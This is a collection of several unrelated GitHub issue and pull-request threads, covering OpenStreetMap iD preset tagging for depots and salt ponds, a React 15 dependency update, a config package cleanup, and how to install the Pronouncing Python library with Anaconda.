Hey @Mahabarata! I appreciate your effort to explain your reasoning of proposing landuse=depot as a new preset. But I do also see that the tag is also clearly not unproblematic, as outlined by @matkoniecz above. I think this issue tracker is really not a good place to discuss these tagging questions, however. Could you please try to find a better forum to clarify the tagging of various kinds of depots, for example the tagging mailing list would be a better option in my opinion?
PS:

if I search "depot" in ID or another word like storage, store, warehouse... I never find something which fit with a depot for buses (but sometimes I find very strange tags. Maybe the funniest = with "depot" we find "psychotherapist" ?!)

This one was easy to fix by adding search term to the respective alternative presets: b213170.

For now, I would like to limit this ticket to the addition of the originally proposed landuse=salt_pond tag.


Update peerDependencies for React 15 compatibility

Hi,
I've made this work with React 15 as well, basically updating peerDependencies and devDependencies for React 15.
Thanks for the lib.

Thanks for the patch! Looks great 😊

Will publish a new version soon!


clean up config package

Submitting pull requests
Please make sure you have read our contribution guidelines and tick off the following boxes if applicable:

[ ] my contribution will be licensed under CC BY-SA 4.0 (for media content)
[x] my contribution will be licensed under ZLIB (for code)

Albeit @AngrySnout and me working on a rust (or C/C++) port because of MSVC issues, I will still merge your PR because it greatly improves the logic and serves as reference code. Thanks a lot!


Can I do conda install?

Hi, I am using anaconda, so how do I do conda install, I went to anaconda cloud there the name was pypi_pronounce  is it the same pronounce as this?, and also I saw that

"Last upload: 5 years and 7 months ago ",

I want the latest version.  How do I do it? Help much appreciated.

Must be something else, that's older than this repo https://github.com/aparrish/pronouncingpy/commit/68545759cfdb86ed2dd8874af6fa43990e770b42

Must be something else, that's older than this repo 6854575

Yeah, but I installed this using python setup.py install

There is no "official" Anaconda package for Pronouncing, and I'm not responsible for the pypi_pronounce package that you found in their index. (I suspect it's from a completely unrelated project.) You should be able to install Pronouncing with pip, even when using Anaconda; see the Anaconda instructions here—no need to use python setup.py install.